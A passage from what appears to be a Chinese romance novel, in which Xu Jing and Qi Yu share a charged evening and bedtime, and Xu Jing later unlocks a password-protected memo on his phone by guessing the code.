许暻的视线还停在那里,看着启合不止的嘴唇,意识恍若被卷进了漩涡之中,难以自拔。
他沉默了不知道有多久,是许暻看着那双唇不动了,想催促他继续说,那人却早一步开口:“小暻,别再看了……”
他的嗓音夹杂着浓烈的克制,像是已经在坍塌的边缘,经不起她再多的撩拨。
许暻恍然一愣,匆匆收回了视线。
心口微微发虚,盯着眼前的那几个字,像被定住一般,一动也不敢动。
“……”
她抿着唇,胸腔里渐渐团起了一圈模糊的气雾,慢慢挤压内里的空气,最后致她呼吸不畅。
脸颊隐隐发烫,许暻感觉自己的耳根子应该是红了。
祁聿又一直不说话,耳边一直沉默。
那团气快要把肺部的空气挤压干净。
许暻终于忍不住,手肘轻轻地往后顶了顶,祁聿挺阔的胸膛带着些许弹力,她咬重了颊侧的软肉,低声催促道:“你…你继续呀……”
闻言,身后的人轻微的一个激灵,握在鼠标上的手收紧了些,然后才应:“哦……”
注意力继续回到正经的讲解中。
许暻却更加心猿意马——
虽然祁聿在继续认真地解释那些养老产品的研发初衷,但他的声音已经有些机械化,像是读课文一般,一字一句地平平念出。
而且他的皮肤越来越热。
两人的左手同时放在桌上,虽然没有交触,但他的热意仿佛能隔空传递一般,带着她的手越来越热。
以及说话时缓缓吐露的气息。
潮湿、黏腻……
十分…诱她……
但许暻为了不耽误正事,选择咬紧牙关,一忍再忍。
忍的人不只有她。
祁聿也在忍。
两人默契地不爆发出来,默契地不拆穿彼此。
直到最后一刻。
许暻终于从祁聿腿上下来,一股清透的凉意洒在了背脊。
她默默捏紧了手。
她知道,那是她出汗了。
不止是她,祁聿也出汗了。
许暻想要快些转移注意力,话语却难以抵挡地磕磕巴巴:“我…我明白了……知…知道怎么……怎么弄了……”
她有些不敢去看祁聿,可身体却出卖了她,视线不由自主地定在了他脸上。
祁聿稍微垂眸,滚圆的喉结动了动,她也跟着做了两下吞咽动作。
祁聿点了点头,嗯了一声。
然后两人都沉默不说话了。
眸光交缠,许暻险些再次出神。
是祁聿问她,要不要去洗澡。
许暻却误会了他的意思,两条腿往后退了退:“洗…洗澡?你刚刚不是说……不是说慢慢来……”
话音未落,眼前的人‘扑哧’一声笑了出来。
许暻微怔,差点被他的笑勾走,却又很快反应过来。
她猛地低下头,完全逃开他的视线,找补解释:“不是……我的意思是……现在就洗澡太快了…不是……”
越描越黑。
她不知道怎么解释了。
“好了,”就在她慌忙重新组织措辞的时候,祁聿突然过来,两只手扶稳她的肩,推着她一起出了书房:“我知道你的意思,去洗漱吧?我帮你开空调,今天还挺冷的。”
“哦……”
……
许暻洗完澡出来,已经差不多把刚才的尴尬抛之脑后。
如果祁聿不在她的床上躺着的话。
空调早早开了,房间里已经不冷了。祁聿像往常一样,换好了睡衣,靠在床头回几个海外的工作消息。
许暻却站在距离床两三米远的位置,迟迟不肯挪动步子。
之前两人还没换回来的时候她倒是不觉得别扭,前两天也没觉得有什么,可现在……
是因为意识到自己对他……
“怎么了?”床上的人注意到她的迟疑,目光已经从手机上移开,挪到了她的身上。
“外面冷,快过来。”动作伴随着话语一起,掀开了粉色小猪的被子,露出的床单的一角,恰好是粉色小猪水灵的眸子,像是在对她说,期待她快来。
“……”
许暻停顿了两秒,还是迈了步子过去。
被窝里已经被祁聿暖热了,倒是不用着凉。
祁聿顺势放下了手机,打算拥着她躺下来。
然而许暻下意识抗拒他的动作。
她也感受到身旁的人僵了两秒。
心脏虚浮地跳动着,她悄悄用余光探了探身旁人的反应,两只手抓紧了他的衣角,一时不知道自己是该躺下,还是该和他继续僵持。
“是觉得不适应吗?”许暻还在纠结的时候,祁聿已经问出了口。
也…不是……
许暻不知道该如何回答这个问题。
她就是觉得有点尴尬。
刚才两人险些擦枪走火,她又
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控制不住对他想入非非,要是再睡在一张床上……
或许是看出她的别扭,祁聿掀开了被子下床。
他站在靠近她的那一侧垂眸,低沉的嗓音里裹了几层柔和:“或者我回我的房间?”
“不用!”许暻的嘴比脑子要快,说完之后她是有些后悔,不过是后悔回答得太快。
不太矜持。
不过两人都已经同床共枕过了,再谈矜不矜持的,就太作了。
两双眸子骤然对上,许暻看到他弯了弧度的眼角,眼底笑意充盈,清澈的瞳仁仿佛洞悉了一切。
许暻好像也明白了他的意思。
他们又共脑了。
这种自然而然的默契仿佛贮存在心底的一块温和的橡皮擦,随时随地就能擦去生出的负面情绪与困惑。
许暻瞬间不觉得尴尬了。
短暂的对视之后,两人同时笑出声来。
祁聿侧过身,朝她抛来一个眼神,稍微转了转眼珠,道:“许总,不知道你愿不愿意给我一个和你共眠的机会?”
许暻嘴边的笑意更深,露出洁白的牙齿,循着那股逐渐让她迷恋的雪松香,往旁边挪了挪,挪出了他的位置。
粉色小猪高高兴兴地拥抱着两人。
许暻也跟寻常一样,枕在他的手臂上。
临睡前,许暻望着天花板说了句:“阿聿,原来你当时说的没错。”
“嗯?”祁聿睁开了原本闭上的眸子,眼底冒出些困惑。
许暻稍微侧头,解释道:“原来我们真的会走向合作。”
虽然目前还只是落于纸上的提案,但是他们俩都有这个心思,他们未来一定会是合作的状态。
祁聿重新闭上了眼睛,伸手揽住她的腰,挺翘的鼻尖在她的下巴蹭了蹭。
“我诚不欺你。”
许暻跟着笑了。
房间里的灯关了,床上的一双人安心睡去。
只是月亮才挪动了几个点位,许暻便清醒了。
身旁的人尚且酣睡,正沉浸在美梦里,均匀的呼吸轻轻洒在她的下巴和脖颈。
许暻悄悄伸手,看了眼时间。
才三点。
身体像是形成了肌肉记忆一般,直接输密码打开了手机。
等解锁之后又才察觉,这手机是祁聿的。
说起这事,她也渐渐习惯了。
和祁聿换手机那阵,两人就已经交换了密码,而且他们的密码也十分普通,都是自己的生日。
换回来之后,许暻偶尔还会把自己的密码输成祁聿的生日。
应该是祁聿刚才下了床,她又挪到了祁聿原本睡的位置上,这边才会是他的手机。
不过她也没打算换。
反正他们都已经相当熟悉彼此的手机了。
稍微刺眼的光亮眯得许暻合了合眼,她本想循着记忆点开微博去看看八卦,然而桌面程序的位置似乎是有过挪动。
原本属于微博的位置,现在却被备忘录占为己有。
面屏是和锁屏一样的密码页面。
十个数字格,六位数密码。
她本来应该退出的,但心底莫名蹦出一串数字:
522410。
虽然祁聿说这里面是商业机密,但许暻总觉得不是。
他的商业机密,她在他电脑上见过。
是一个密码很复杂的压缩包,她一般都避开那个压缩包,也从来不多问。
况且以祁聿的性子,他应该不是一个把‘商业机密’藏在备忘录里面的人才对。
大脑有了猜忌,两只手也没忍住。
精准地找到了那几个数字,缓缓输入。
她心虚地瞟了一眼身旁的人,暗暗在心里道:她就试试,如果打不开,她就不看了。
然而这一串密码却恰好打开了这个备忘录。
许暻呼吸一滞,瞳孔微微缩起,捧着手机的两只手愣了愣。
下一秒,里面的文字已经先了一步,在她的眼底聚焦。
等大脑成功接收到信息,瞳孔却又小了一圈。
她的眼睑也往两边扩开了些。